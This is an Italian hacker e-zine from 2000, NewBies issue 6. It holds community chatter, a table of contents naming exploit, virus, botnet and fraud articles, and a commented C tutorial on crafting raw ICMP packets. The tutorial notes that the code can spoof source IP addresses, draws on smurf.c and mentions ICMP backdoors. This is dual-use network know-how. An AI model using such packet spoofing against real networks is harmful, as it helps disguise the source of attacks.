@-,',.,',.,',.,',.,',-@ | _ _ ____ _ | | | \ | | _____ _| __ )(_) ___ ___ | -+- | \| |/ _ \ \ /\ / / _ \| |/ _ Y __|-+- : | |\ | __/\ V V /| |_) | | __|__ \ : | |_| \_|\___| \_/\_/ |____/|_|\___|___/ | @-,',.,',.,',.,',.,'',-@ NEW BIES (num 6) (data 23/06/Y2K) [ powered By N0bodY88-ooo - Dante Alighieri ] [ this numba is dedicated from N0bodY88 to smav - u'll be 4 ever in my heart ] [ also from Dante Alighieri to: chi gli lontanto ma vicino e chi gli vicino [ ma lontano....] DISCLAIMER LEGALE ------------------------------------------------------------------------------ IL NEWBIES STAFF NON SI ASSUME NESSUNA RESPONSABILITA' X L'UTILIZZO DELLE TECNICHE SOTTO RIPORTATE, LE QUALI SONO STATE DISTRIBUITE UNICAMENTE X CONDIVIDERE LE CONOSCENZE DA NOI "ACUISITE" (mitico edu...) E PER CERCARE QUALCUNO CON CUI CONFONTARE LE NS ESPERIENZE E LE CONOSCENZE X MIGLIORARE VICENDEVOLMENTE.....DIVERTENDOSI! N0bodY88-ooo of NewBies Staff ------------------------------------------------------------------------------ DEDICHE LEGALI ------------------------------------------------------------------------------ Tutti i bro italiani e soprattutto di milano, tutti i fratelli Spp, tutta la famiglia di NewBies e della HDE, tutti gli amici di #cacca #olografix #ahccc, tutti i confratelli S0ftpj, Spaghetti Hackers, tutti i brotherz delle altre e-zine italiane a cui (spero) diamo na mano a tenere alto ( ;) ) il nome della liberta' e del fatto di pensare con la propria testa in italia, a tutti i centri sociali, a tutti quelli che conosco e tutti quelli che conoscero' all'hack-it ci si becca li' fratelli e...ricordatevi...niente cops tnx :D N0bodY88-ooo of NewBies Staff & Spp Member ------------------------------------------------------------------------------ PREMESSA Questa e-zine e' nata in una giornata qualsiasi di gennaio, mentre 2 newbies stavano parlando tra loro in IRC di non mi ricordo cosa. Da quel fatidico giorno la e-zine e' cresciuta, le persone che ho contattato x scrivere un articolo mi hanno dato la loro disponibilita' e entro alcuni giorni mi hanno fatto avere il loro operato. Alcune persone hanno fatto tardi x notti intere (fra cui il sottoscritto) ed hanno sacrificato il loro tempo x creare qualcosa che fosse nuovo, divertente, che ci facesse diventare + bravi, + amici, + uniti e forse...beh...forse anche + famosi...hihihi! Questo e' quello che abbiamo realizzato insieme, collaborando e scambiandoci opinioni. Se questa e-zine non vi piace, e' troppo semplice o e' stupida non scriveteci (oppure scriveteci x migliorare un art. della e-zine sfruttando le vostre conoscenze) ma se solo sara' piaciuta ad una persona, se solo un ragazzo dopo aver letto questa avra' deciso di passare a linux, di programmare in visual basic, di farsi una propria backdoor o di mettersi a studiare come si usa telnet (troppo poco attrezzato di voci nei menu x essere quello tanto decantato dovunque, ma anche troppo simpatico con il suo prompt a mo di Commodore 64) allora questa e-zine sara' servita a qualcosa. E ricordate...newbies si nasce, hacker si diventa. Buona lettura ^__^ N0bodY88-ooo INTRODUZIONE by N0bodY88-ooo Salve a tutti e benvenuti a questa 6a puntata della avventura chiamata NewBies. Purtroppo ci siamo lasciati Zerocool alle spalle xche' x sua decisione NewBies non era alla sua altezza ma noi cmq proveremo ad andare avanti lo stesso magari un po' piu' pazzi ;) ma andremo avanti. Volevo salutare con questo num della e-zine Neuro e Wurzel neo papa' a cui vanno i ns auguri. Un saluto speciale a Black Berry e al progetto HackLab che sta portando avanti, alla ml spp, a fritz che da oggi odio xche' mi ha fatto notare che c'e' un dos o un exploit contro il mio mail client preferitom (The Bat) ;) (tranqui fritz al max ti frego Mayhem :P), a tutta la ml di NewBies che (grazie a Vecna) ho ripreso a seguire. Che novita' ci sono? Be le scrivo qui xche' mi e' stato detto che come scrivevo le news era troppo lungo e non molto bello quindi vi avverto solo che BFI e' arrivata al num 8 e NetRunners al numero 12. Un ultima cosa, date un okkiata ai link che ho aggiunto alla sezione link e sappiatemi dire se vi piacciono. Si passa da un tipo strano di nome Bub "creato" da quelli di Antionline sempre pronto a rispondere online alle ns domande sulla sicurezza, per arrivare al sito della polizia dove troverete i fatti visti dalla loro parte ;-) Sperando di potere partecipare anke ai successivi numeri vi auguro una buona lettura di questo 6 numero e vi mando un saluto Alla proxyma e byez a tutti N0bodY88-ooo INTRODUZIONE-2 by Dante Alighieri Innanzitutto vorrei chieder scusa a tutti quelli a cui ho dovuto dire di no per il loro articolo, cmq..li inviterei ad aspettare il prox numero (non bestemmiatemi subito per favore)...se il vostro articolo non compare qu sotto..beh sorry :/ provveder dal prox numero a darvi una risposta certa dopo un paio di gg max dalla consegna affinch le vostre aspettative non vadano deluse :) Tuttavia devo obbligatoriamente specificarvi un paio di cose: l'e-zine si chiama "NewBies" non "Spazzatura" indi...non crediate che un vostro qlc txt...magari con delle boiate pazzesche debba per forza essere pubblicato. Ancora, non pensate che aver gi scritto un articolo per la zine sia un passaporto per far pubblicare tutte le altre vostre boiate e sopratutto non pensate di far parte "della scena underground cyberpunk sticazzi digital hack phreak di un paio di palle" italiana solo perch ci avete mandato un articolo.... Poiiiiii........vorrei parl del Nobo..caxxo il nobo ci lascia rag!! non scrive e non fa + il redattore per NB !! :( GRRRrrrrrrrrr.......frat...t'ammazzer!!! ti verr a dare le fustigate sulle chiappette! ma come cazpio faccio a mann avanti la baracca senza di te? uffff....... ci sar MAX che mi aiuter...ma il nobo il nobooo !!!! Novit delle novit by MAXXOLINO Ciao amici ... vorrei avere un attimo di attenzione ! (se possibile...cazzo sembro un prof) Chi mi chiama ? Prof posso andare in bagno? No per ora sto spiegando ... fattela addosso o altrimenti falla dentro lo zaino. ehehehe :) Bando alle ciance volevo sapere una cosa: siete d'accordo ad aprire una sezione sull' hacking delle schede satellitari ? Iniziando con la teoria,passiamo alla costruzione dello smartmouse ed arriviamo all'hack vero e proprio ! Aspettiamo vostri pareri e consigli! Questa idea mi venuta in mente mentre leggebo bfi7 e pensavo che nessuna zine ha questi tipi di sezione ... quindi newbie sarebbe la prima! Io penso che potrebbe essere una buona iniziativa,ma a voi spetta la sentenza...l'ultima parola data a voi lettori di newbie,quindi pensateci bene! Naturalmente chi volesse scrivere degli articoli per la new section li mandi a questo indirizzo : newbiesat@hotmail.com BREVI (?) COMMENTI RIGUARDANTI L'HACK-IT Y2K :) 1Impressione: ammazza...ma che sta maera di figa??? ahhaha.. molto mejo cos rag..na roba da paura... "nnna cifra" in giro per quei loculi maledetti... hihihi :) Per quei pochi di voi che non lo sanno ankora..l'hack meeting 2k s' svolto al Forte Prenestino a Roma..in pratica un vero Castello con tanto di mura, fossato e catacombe!! hihihi...ed indovinate un p dove ci hanno sistemato?? NELLE CELLEEEEEE!!! Segno premonitorio o soltanto uccellaci del malaugurio?? boh..non si sapr mai.. cmq..una cosa certa: il posto era davvero da sballo !!L'unica nota negativa erano i maledetti sniffer..che giravano..non solo sui gateway..ma anke su una 60ina di pc sotto la rete stessa......grrrr.....e vabb la moda "Share the fun"... e vabb l'anarkia...e vabb che le cose mie son le tue..ed il contrario.. ma prima di farmi fottere tutte le shell..ci penso 2 secondi no ? :) Le persone coinvolte a sto meet son state davvero tantissime.. e molte di alto livello tecnico.. non mancava quasi nessuno...c'era buona parte dei softpj, c'erano alcuni SPP (cazzo raga ma che fine avete FATTO!?!??!?!?!?), c'era buona parte del nostro staff, "la crema" dell'associazione culturale telematica "olografix" ed il LOA di Milano (little Jhooon!!! :PPP, Letale Malattiaaaaaa). La manifestazione di quest'anno ha visto la partecipazione anche di volti noti come "Raul Chiesa" (spero si scriva cos il suo nome) e Gomma sistematisi rispettivamente uno nel loculo accanto al mio e l'altro sulla sedia accanto alla mia :)....ragazzi...siete riusciti a fare dell'hacking uno strumento commerciale...ma non siete "hacker" siete solo dei consulenti in sicurezza informatica l'etica una cosa...i soldi un'altra..sorry penso di avere un punto di vista completamente diverso dal vostro :(. Non vi lamentate se sul vostro monitor, sul prompt della shell, compaiono scritte strane di questo genere: "fuck fuck fuck" o "posso provare a rootarti io la shell??", proprio quando si pensa di essere i migliori che si prendono le inculate + grosse. (hijacking rulez) Vabb...una delle cose che penso avranno notato tutti all'hackit la comparsa di una strana scritta sulle mani..e su varie parti del corpo di tutta la gente. Scritta identificatasi solo successivamente col nick di una strana bestiolina bionda che si aggirava per i cunicoli furtivamente 24h su 24 e russava in modo pauroso durante le conferenze (BWHAHAHAHAHAHAH). Il male ed il demonio sono davvero fantasiosi nel presentarsi ogni volta sotto forma diversa..a noi poveri dell'hackit c' tokkata la SMAV !!! Scherzo ovviamente :) e ne approfitto per rispondere alle migliaia di persone che durante sti gg mi stanno ponendo sempre la stessa domanda: Ma..t'ho visto andare in giro mano nella mano con la smavva... la tua tipa???? Io vi rispondo in modo breve e conciso: COSA CAZZO VI CAMBIA?? E COSA CAZZO VE NE FREGA A VOI ???? AHHAAHHHAAHHAHA. Nel loculo 17 era poi piazzata una vera mandria (d'oh) c'erano i softpj, Smilzo (fustacchione mio:*) ed in + MaYhEm & TheDuke (dukiiiiinooo!!) che trasmettevano di continuo dalla loro radio (ns1.tdonline.net:8300). Non scorder mai i giri nei cunicoli abbracciato a MaYhEm (ubriaco frascico) che parlando con un Australiano (?) gli ha augurato un "have a nice trip" molto ambiguo :P. Solo un'ultima precisazione...non m' piaciuto sentirmi dire l'ultimo gg da mia madre: Che beeellooo t'ho visto sul TG1 stamattina!!! ......che nervi....mi si inacidito il sangue per un gg intero... cazzo...avevamo detto niente telecamere :((((( Vabb...la pula non ankora venuta a casa mai..per adesso sono ok :))) hhiihih Rig...vi auguro un'ottima lettura sperando sta zine ve gusti e che non la stampiate per per il semplice gusto di tirarmela addosso :P byez Dante Alighieri ͻ ARTICOLO ͹ AUTORE ͹ |PREMESSA N0bodY88-ooo | |INTRODUZIONE N0bodY88-ooo | |INTRODUZIONE-2 DanteAlighieri | |BREVI COMMENTI RIGUARDANTI L'HACK-IT Y2K DanteAlighieri | |INFO SUGLI ALLEGATI N0bodY88-ooo | |PROGRAMMAZIONE NewBies Staff | INVIO DI PACCHETTI ICMP CON L'UTILIZZO DELLE RAW SOCKET |CyRaX| RAW FOR DUMMIES hi]tech[ THE GREAT SCRIPTING GUIDE Sikkolo STREAM ON C++ hi]tech[ TRASH BIN REMOVER [Requiem] |CRITTOGRAFIA - MR. HIDE NewBies Staff | LA PASSWORD DELLO SCREENSAVER DI WINDOWS JuxWell |TEORIA NewBies Staff | INTERNET PROTOCOL DanteAlighieri " " & Cthulhu IPIVUSEI Asynchro RFC : QUESTE SCONOSCIUTE... Fake ROUTER SIMULATOR LA FIGATA DEL 2000 :D N0bodY88-ooo WANNA BE FLASH? USE THE CACHE... Dante Alighieri |CRACKING NewBies Staff | CAMAGEDDON II - CARPOCALYPSE NOW cod |TRADUZIONI NewBies Staff | UN TRUCCO AL GIORNO GRAZIE A WWW.UGU.COM N0bodY88-ooo NMAP MAN PAGE Veleno |LE INTERVISTE E LE NOTTATE IMPOSSIBILI NewBies Staff | INTERVISTA A UGO LAVIANO Dante Alighieri MEET DA SBALLO IN QUEL DI MI... N0bodY88-ooo |PHREAKING NewBies Staff | UN PO' DI NOVITAAAAAAAAAAAAA' Dante Alighieri PHREAKING ASSAULT [Requiem] & Jux |IL MONDO DI IRC NewBies Staff | MUH : + O - UN IRC BOUNCER Fake SE I VOSTRI BOT SI SENTONO SOLI....FATE LA BOTNETTA DanteAlighieri |ELETTRONICA & FRIENDS NewBies Staff | COME COSTRUIRSI UN CAVO CROSS-OVER Nitro The Demon INIEZIONE ELETTRONICA II JuxWell QUALCHE CONSIGLIO SU COME FOTTERE LE MACCHINETTE DEL POKER SpIRIToZ CARTE MAGNETICHE [Requiem] OPEN SOURCE segnalatoci da MAXPIRATA |M4X| |HACKING DI TUTTO DI PIU' E DIVERSI ART. MOLTO INTERESSANTI NewBies Staff | COME SBLOCCARE LA POSSIBILITA DI MODIFICARE UN DB IN ACCESS97 Nitro The Demon MILLENIUM CGI BUG Dante & Cthulhu D.O.S. DISK OPERATING SYSTEM???????? NAAAAAAAAA SosPiro SENDMAIL 5.6.5 EXPLOIT SPIEGATO SosPiro UN BLOCCO DI TESTO INUTILE S2 FTP BOUNCE MrTerminator WINDOWS 9X... UN PO' DI TRUCCHI screener_it MITICA MAIL DI TEX IN RISPOSTA AL LAMERINO DI TURNO Tex IL METODO DEL FERRO DA STIRO |M4X| |PROGRAMMAZIONE VIRALE NewBies Staff | VIRUS PROGRAMMING (NOT SO BASIC) XaRaBaS MELISSA VIRUS |m4x| |DIVERTIMENTO CAZZATE SVAGO E QUANTO O NON POSSIBILE NewBies Staff | D0LLS : VOODO2 E VOODO3...COSTRUIAMO UNA BAMBOLINA VOODO2 smav KOKAKOFFEE.... Dark-Elf & smav |SALUTI NewBies Staff | |THIS NUMBA IS DEDICATED BY N0bodY88-ooo & DanteAlighieri TO: OurSeLf! | *** = gli articoli seguiti dai precedenti 3 asterischi sono allegati nello zip della e-zine a causa della loro diversa natura dal normale txt (es: il caso del doc sui gsm di Nick1 che e' in .pdf leggibile tramite il prog Acrobat Reader) mentre in altri casi anke se si poteva convertire in txt e' stato scelto di lasciare il file cosi' come era (es: la guida di html di Firebeam in .html ). E questo e' quanto ;) ͻ Ŀ RIEPILOGO LINK IN ORDINE ALFABETICO ٺ ͼ [ Anarchy in the system ---------------------------> http://aisprod.tsx.org ] [ Ask Bub ------------------------------------------> http://www.askbub.com ] [ Attila Hack ------------------------------> http://www.attilahack.cjb.net ] [ Crypto -----------------------------------------------> http://kz.cjb.net ] [ BFI ------------------------------------------> http://www.s0ftpj.org/bfi ] [ Deandreis --------------------------------------> http://www.deandreis.it ] [ Dislessici -----------------------------------> http://www.dislessici.org ] [ Lord Guf --------------------------------------------> http://guf.cjb.net ] [ Metro Olografix -------------------------------> http://www.olografix.org ] [ NetRunners -----------------> http://www.spippolatori.com/h/netrunner.htm ] [ Polizia --> http://www.poliziastato.it/informatica/6%20-%20Operazioni.htm ] [ Quequero ---------------------------------------> http://quequero.cjb.net ] [ RFC (sito dove le potete trovare) ------------> http://www.faqs.org/rfcs/ ] [ RingZ3rO ---------------------------------------> http://ringzer0.cjb.net ] [ RouterSimulator -------------------------> http://www.routersimulator.com ] [ Softpj -------------------------------------------> http://www.s0ftpj.org ] [ SoftWord -----------------------------------> http://softword.webjump.com ] [ Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ ] [ Spippolatori -------------------------------> http://www.spippolatori.com ] [ T0rment0 -------------------------------> http://web.interpuntonet.it/xj/ ] [ Vana - Imago -----------------> http://members.xoom.com/eripper/index.htm ] [ Valvoline -------------------------------------> http://valvoline.cjb.net ] [ Wannabe ----------------------------------> http://www.attilahack.cjb.net ] NOTA DI N0bodY88 = Se volete che il nome della vs crew con l'url del vs sito sia presente nella soprascritta tabella basta che ce lo comunichiate e sara' fatto sia x siti newbies che x siti di hacking. ۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۲۰۰۰۰۰۰۲۰۰۰ ۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ 3 PAROLINE SUGLI ALLEGATI: - cillotta.jpg = bellissima cillotta fatta da smav mentre io (N0bo) fumavo qualke pacchetto di Pall Mall :D Chi ha il coraggio di non guardarla stia attento ai vari, kox, kod, pimp e chi piu' ne ha ne metta :P - crypt.cc-by-avogrado.zip = programmino buttato giu' al volo x essere messo almeno come beta in questo num di NewBies dal ns collaboratore Avogrado. Ps: crittografia? Scopritelo :P - manuale_c.zip = mega manuale scritto da Maxipirata straultracompleto sul c, una vera bibbia che non puo' mancare nella libreria del coder newbies e in quella del coder ormai "collaudato". Colgo l'occasione x mandare un grosso tnx a Maxipirata x questo suo imo ottimo lavoro che aiutera' non poca gente che non aspetta altro che un buon manuale x cominciare a programmare seriamente. - dec-bin-hex.zip = sorgente c della Calcoltarice decimale, binaria e esadecimale di [Requiem] - compiler_helper.zip = sorgente c del Compiler Helper di [Requiem] - rim_beta.zip = sorgente in script di shell del Trash Bin Remover di [Requiem] - muh-2.0.4.tar.gz = irc bouncer di cui Fake parla ampiamente nel suo articolo - card_reader.zip = prog in pascal x il lettore di carte magnetiche di cui [Requiem] parla nel suo articolo. - coltivala.zip = tre immagini che vanno viste durante la lettura dell'artico lo dall'omonimo titolo "Coltivala" del ns contadino Spiritoz ps: tutti a casa di Spiritoz a...fare festa ;) eheheh - cookbook.zip = pagina creata all'unico scopo di facilitare la lettura del cookbook di avatar! Sei un mito!!! - dos.zip = articolo in formato word sui dos dal grande SosPiro!!! - send5.6.5.zip = spiegazione dell'exploit x sendmail 5.6.5, un po' vecchiotto ma puo' sempre tornare utile :D - Poesie by DjPulce.doc = poesie di djpulce veramente belle x anime perse come la mia (ndN0bo)... - Nmap network security scanner man page = la pagina del man di nmap tradotta dal mitico Gilberto Ficara. ...e anke in questo numero un txt dal nome strano... - NewBies6.txt = secondo voi che sara? ;-) N0bodY88-ooo ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰ ͻ Ŀ INVIO DI PACCHETTI ICMP CON L'UTILIZZO DELLE RAW SOCKET by |CyRaX| ٺ ͼ Cosumo : Una decina di diana blu + 3 ms (puah.. almeno costano poco :) Svariati torroncini. Una coca cola. Musica : "Lunchbox" by Marilyn Manson "Celebrity Skin" by Hole "Otherside" by R.H.C.P. Thanks : La mia compagna di classe ke mi ha prestato i soldi per le sigarette B_Berry : per consigli vari e per avermi passato il netbsd Tutti gli amici dell'hacklab [-JoKeR-] e tutti gli amici avatar N0b0dy88 : per aver fatto una buon zine in cui anke quelli come me possono scrivere :) \x80, capotribu, ska-man, smk e tutti gli amici di #programmazione mav, goemon, fuzzo, fda, redevil e tutti gli amici di #simpson e poi Peter_and ^eagle1^ Fucks to : La mia prof di disegno ke mi ha mollato un altro 4 :(( Il mio prof di italiano ke mi ha mollato un altro 5 :((( La mia prof di storia ke mi mette 5 in pagella :(((( (ke dite.. quest'anno mi segano ? :PP) Oky.. dopo le kazzate cominciamo :) Premessa : Questo articolo e' di base e non vi fara' diventare degli dei delle raw socket. Per comprendere il codice e' necessaria una conoscenza di base di c e dell'uso dei socket (su newbies 5 c'era un articolo relativo all'uso dei socket in win ma per quelli base non cambia molto). Serve anke una conoscenza di base sul protocollo tcp/ip e icmp (dato ke in questo caso utilizzeremo le raw socket per questo protocollo). Premessa sui raw socket : I socket raw sono dei socket in cui noi possiamo (anzi dobbiamo :P) crearci da soli i pakketti ip da inviare. L'utilizzo dei raw socket e' possibile (o almeno dovrebbe) in tutti i sistemi operativi compatibili posix (tutti gli unix). L'utilizzo dei socket raw e' disponibile solo al root. Dato ke siamo noi a creare l'intero pakketto ip possiamo anke modificare l'ip sorgente in modo da mandare un pakketto spoofato. Allora.. innanzitutto ci servono degli header ke contengano le strutture di un pakketto ip e di un pakketto icmp quindi : #include #include (ovviamente vi servono anke tutti gli altri header ke servono normalmente ai socket) ora.. creiamo dei puntatori a queste struttuture e un puntatore a una stringa struct ip *pip; struct icmp *picmp char *packet; poi ci serve una struttura sockaddr_in da usare con la sendto in cui metteremo il nostro indirizzo ip. .. struct sockaddr_in from; .. from.sin_addr=inet_addr("127.0.0.1"); from.sin_family=AF_INET; bene.. creiamoci un socket raw sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); se il programma non viene eseguito da root (o con suid 0) la socket dara' un -1 in risposta oky.. ora creiamoci un posticino in memoria dove tenere il pakketto con la malloc. Quanto spazio ci serve? Ci serve uno spazio pari alla somma di una struttura ip, una struttura icmp, + lo spazio per i dati icmp (quanto vogliamo.. in questo caso mettiamo 64) packet=malloc(sizeof(struct ip)+sizeof(struct icmp)+64; bene.. dato ke la malloc non pulisce la memoria ke ci da riempiamola di zeri noi com la memset memset(packet,0,sizeof(struct ip)+sizeof(struct icmp)+64; perfetto.. ora il nostro scopo e' fare in modo ke packet contenga una struttura ip e una icmp quindi facciamo in modo ke pip punti all'inizio della memoria di packet e ke picmp punti alla zona di memoria compresa in packet ke si trova subito dopo pip. Non avete capito un kazzo ? oky.. provo con uno schemetto.. Immagine ke questo segmentino sia la zona di memoria ke ci siamo fatti assegnare con la malloc per packet. - pip punta alla prima parte per una lunghezza pari a una struttura ip - picmp punta alla seconda parte per una lunghezza pari a una struttura icmp - 64 byte rimangono vuoti (costituiscono la parte icmpdata).. se avete intenzione di scrivere una backdoor ke lavori su icmp (vedi la 007Shell di Fusys) potete mettere i dati ke volete inviare in questa zona (a cui potete destinare quanti byte volete.. io ho messo 64 xke' e' la dimensione di default del ping di unix) - packet punta a tutta la zona di memoria. PACKET |---------------|---------|-------------| pip picmp 64b di data bene... per ottere 'sto risultato si fa cosi' pip=(struct ip *)packet; picmp=(struct icmp *)(packet+sizeof(ip)); Oky.. abbiamo ottenuto ke packet contenga esattamente tutto il pakketto da inviare. Bene.. ora usiamo la setsockopt per fare in modo di avere il permesso di poter inserire il nostro header nel pakketto ip. ... int hincl=1; ... setsockopt(sock, IPPROTO_IP, IP_HDRINCL,&hincl,sizeof(hincl)); perfetto.. ora e' tutto pronto... possiamo crearci il nostro pakketto. Oky dato ke ora non ho voglia di spiegarvi tutti i campi dell'ip (questo potete impararvelo da soli con un qualsiasi libro sul tcp/ip) salto questa parte e vi rimando all'esempio ke ho allegato in fondo. E' stracommentato quindi dovreste capirlo senza problemi. Ovviamente dovete aver chiaro com'e' costituito un pakketto ip, e un pakketto icmp. Per chi volesse guardarsi tutti i membri della struttura ip e icmp consiglio di darsi una leggiukkiata a /usr/include/netinet/ip.h e ip_icmp.h. Cmq.. uno skemetto con spiegazione di tutti i campi dell'ip lo trovate da qualke parte nella rete. Oky.. supponiamo ke abbiate modificato bene le strutture puntate da pip e picmp. Se avete capito quello ke ho spiegato prima avrete capito ke ora packet punta alla zona in cui il nostro pakketto e' memorizzato. Bene.. ora ci basta una sendto e il pakketto sara' spedito per la rete :)) sendto(sock,packet,sizeof(struct ip)+sizeof(struct icmp)+64,0, (struct sockaddr *) &from,sizeof(struct sockaddr)); tadaaaaa'.. icmp partito. La cosa non vi e' chiara? ekkovi un programmino completo stracommentato. Il programma cosi' com'e' fatto non fa altro ke mandare un ping a 127.0.0.1 da 127.0.0.1 . Cosi' com'e' non fa nulla di particolare. Dandogli una microscopica modificatina si puo' cambiare l'indirizzo ip sorgente e ovviamente quello destinatario. (In pratica possiamo spoofare il nostro ip). Ovviamente possiamo anke cambiare l'icmp_type e l'icmp_code in modo da non mandare un echo_request ma per esempio un icmp di destination unreachable (si scrive cosi' ? :P) Come faccio ad accorgermi se il ping mi arriva o no ? Basta guardare nel syslog.. dovrebbe comparirvi una cosa tipo : Feb 3 21:21:10 inferno icmplogd: ping from inferno [127.0.0.1] Attenzione.. quando lo testate con ip spoofati sappiate ke non potete mandare a 127.0.0.1 pakketti con ip sorgente non 127.*.*.* .. per esempio potete provare a modificare l'ip sorgente in 127.6.6.6 o quello ke volete... questo programmino l'ho scritto scopiazzando dallo smurf.c .. se ci sono errori potete guardare pure li'. Oky.. ho scritto troppo per sto' articolo.. byez (ringraziamenti, insulti, bestemmie, auguri di natale, pasqua o anno nuovo a cyrax@freemail.it) (|CyRaX|@ircnet) ------Cut here-------- #include #include #include #include #include #include #include #include #include #include #include #include int main(int argc, char **argv){ struct ip *pip; struct icmp *picmp; struct sockaddr_in from; int sock; char *packet; int hincl=1; int err; /* il packet punta ad un area di memoria dove c'e' pip picmp + 64 vuoti*/ /* pip e' un puntatore a una struttura ip.. per modificare l'header */ /* picmp e' un puntatore a una struttura icmp per modificare la parte icmp */ /* sock e' il socket.. ke va messo su raw con IPPROTO_RAW */ /* hincl e' l'opzione da passare con la setsockopt per poter cambiare l'header */ /* from e' l'indirizzo da cui deve partire il pakketto */ sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); printf("socket() :%i\n",sock); err=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&hincl,sizeof(hincl)); printf("setsockopt() :%i\n",err); /* ora allochiamo un po' di memoria per packet.. ci serve esattamente lo * spazio per un header ip, per un header icmp, e per i dati icmp.. (in * questo caso mettiamo 64 bytes di data) */ packet=malloc(sizeof(struct ip)+sizeof(struct icmp)+sizeof(struct icmp)+64); /* ora facciamo puntare pip alla prima parte della memoria a cui punta anke * packet*/ pip=(struct ip *) packet; /* ora.. dato ke la parte icmp si trova subito dopo quella ip in packet * facciamo puntare picmp a packet + la dimensione di una struttura ip */ picmp=(struct icmp *)(packet +sizeof(struct ip)); /* ora riempiamo di zeri l'area di memoria puntata dal pakketto*/ memset(packet,0,sizeof(struct ip)+sizeof(struct icmp)+64); /* ora riempiamo la struttura from con l'indirizzo sorgente dell'icmp */ /* (in questo caso 127.0.0.1) */ from.sin_addr.s_addr=inet_addr("127.0.0.1"); from.sin_family=AF_INET; /* e ora inizia il bello.. costruiamoci l'header ip!!! :) */ /* ip_len e' la lunghezza dell'intero pakketto ip. In quest caso e' * la lunghezza dell'header ip + la lunghezza dell'header icmp + i dati * icmp ke in questo caso sono 64 byte*/ pip->ip_len=sizeof(struct ip)+sizeof(struct icmp)+64; /* ip_hl : lunghezza header ip */ pip->ip_hl=sizeof *pip >>2; /* ip_v : versione di ip.. va messa su 4 (finke non arriva l'ipv6 :PP)*/ pip->ip_v=4; /* ip_ttl : time to live.. il numero massimo di router ke il pakketto puo' * passare prima di essere scartato. (valore massimo 255)*/ pip->ip_ttl=255; /* ip_tos : type of service.. dovrebbe essere per le priorita' */ pip->ip_tos=0; /* ip_off : questo e' il fragment offset.. noi non frammentiamo un kazzo * quindi lo impostiamo a 0 */ pip->ip_off=0; /* ip_id : indentificazione.. ogni frammento di un pakketto deve contenere * lo stesso id. A noi non importa nulla dato ke non frammentiamo. Cmq * come indentificazione conviene mettere il pid del programma in esecuzione*/ pip->ip_id=htons(getpid()); /* ip_p : protoccolo.. l'icmp corrisponde al protoccolo 1 */ pip->ip_p=1; /* ora mettiamo l'ip sorgente e l'ip destinatario. */ pip->ip_src.s_addr=from.sin_addr.s_addr; pip->ip_dst.s_addr=inet_addr("127.0.0.1"); /* ip_sum : cheksum.. serve a controllare ke l'header arrivi intero */ pip->ip_sum=0; /* header ip finito!!! .. passiamo all'icmp */ /* icmp_type .. noi vogliamo l'echo request a cui corrisponde il tipo 8 */ picmp->icmp_type=8; /* icmp_code .. se non sbaglio quando si setta il type a 8 il codice non ha * importanza.. solitamente il code serve come sottotipo di type. In questo * caso lo settiamo a 0 */ picmp->icmp_code=0; /* icmp_cksum .. somma di controllo per verificare se il pakketto e' arrivato * intero a destinazione */ picmp->icmp_cksum=htons(~(ICMP_ECHO << 8)); /* TADAAAAAA.. il pakketto e' pronto !!!!! */ /* ora inviamolo con un sendto */ err=sendto(sock,packet,sizeof(struct ip)+sizeof(struct icmp)+64, 0,(struct sockaddr *) &from,sizeof(struct sockaddr)); printf("%i + %i + 64 = %i\n",sizeof(struct ip),sizeof(struct icmp),err); printf("from : %i to : %i\n",from.sin_addr.s_addr,pip->ip_dst.s_addr); } ------------- EOF -------------- byez |CyRaX| ͻ Ŀ RAW FOR DUMMIES ٺ ͼ by: hi]tech[ <---> hi.tech@usa.com cibarie:Pringles ( gusto pantegana ) LemonSoda OvinoKinder muZica: Dark Tranquillity ( After Hour :) Allora, articolo veloceveloce sulla programmazione. Uno scoglio che molti si trovano davanti e' riuscire a programmare i raw socket. Sicuramente non facili da utilizzare all'inizio, ma una volta capiti, diventano una ca**ata. Siccome non ho intenzione di fare il solito articolo sul tcp/ip partiamo dal presupposto che sappiate gia' come sia strutturato. Inserisco soltanto le solite tabelle degli header iP e TCP, che saranno quelli che utilizzeremo dopo. IP header: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |Version| IHL |Type of Service| Total Length | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Identification |Flags| Fragment Offset | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Time to Live | Protocol | Header Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Destination Address | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | TCP header, then your data ...... | | | TCP header: +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | 